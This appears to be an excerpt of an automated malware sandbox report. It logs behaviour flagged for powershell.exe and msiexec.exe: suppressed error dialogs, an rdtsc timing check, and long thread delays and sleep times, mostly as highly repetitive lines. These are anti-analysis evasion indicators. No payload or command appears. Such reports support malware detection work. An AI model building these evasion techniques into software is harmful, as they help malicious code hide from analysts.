Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Code function: 2_2_0B75892B rdtsc

2_2_0B75892B

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599890	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599781	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599672	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599562	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599452	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599282	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599109	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598905	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598765	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598647	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598531	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598421	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598305	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598187	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598078	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597968	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597859	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597748	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597625	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597515	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597406	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597297	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597187	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597078	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596968	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596859	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596750	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596640	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596504	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596375	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596261	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596132	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596011	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595754	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595640	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595530	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595406	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595297	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595187	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595078	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594968	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594859	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594718	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594609	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594499	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594390	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594265	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594156	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594031	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 593922	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599874	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599765	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599648	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599546	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599437	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599328	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599218	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 599108	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598999	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598890	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598781	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598671	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598562	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598453	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598343	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598234	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598125	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 598015	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597905	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597796	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597628	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597476	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597374	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 597101	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596984	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596874	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596765	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596656	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596546	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596437	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596328	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596218	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596109	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 596000	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595890	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595781	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595672	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595562	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595453	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595343	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595234	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595125	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 595015	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594906	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594797	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594672	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594562	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594453	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594343	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Thread delayed: delay time: 594234	Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3234	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6559	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8355
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1184

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

API coverage: 4.8 %

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3648	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 672	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -29514790517935264s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1056	Thread sleep count: 6658 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 1056	Thread sleep count: 3177 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -599890s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -599781s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -599672s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -599562s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -599452s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -599282s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -599109s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -598905s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -598765s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -598647s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -598531s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -598421s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -598305s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -598187s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -598078s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -597968s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -597859s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -597748s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -597625s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -597515s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -597406s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -597297s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -597187s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -597078s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -596968s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -596859s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -596750s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -596640s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -596504s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -596375s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -596261s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -596132s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -596011s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -595754s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -595640s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 5640	Thread sleep time: -595530s >= -30000s	Jump to behavior
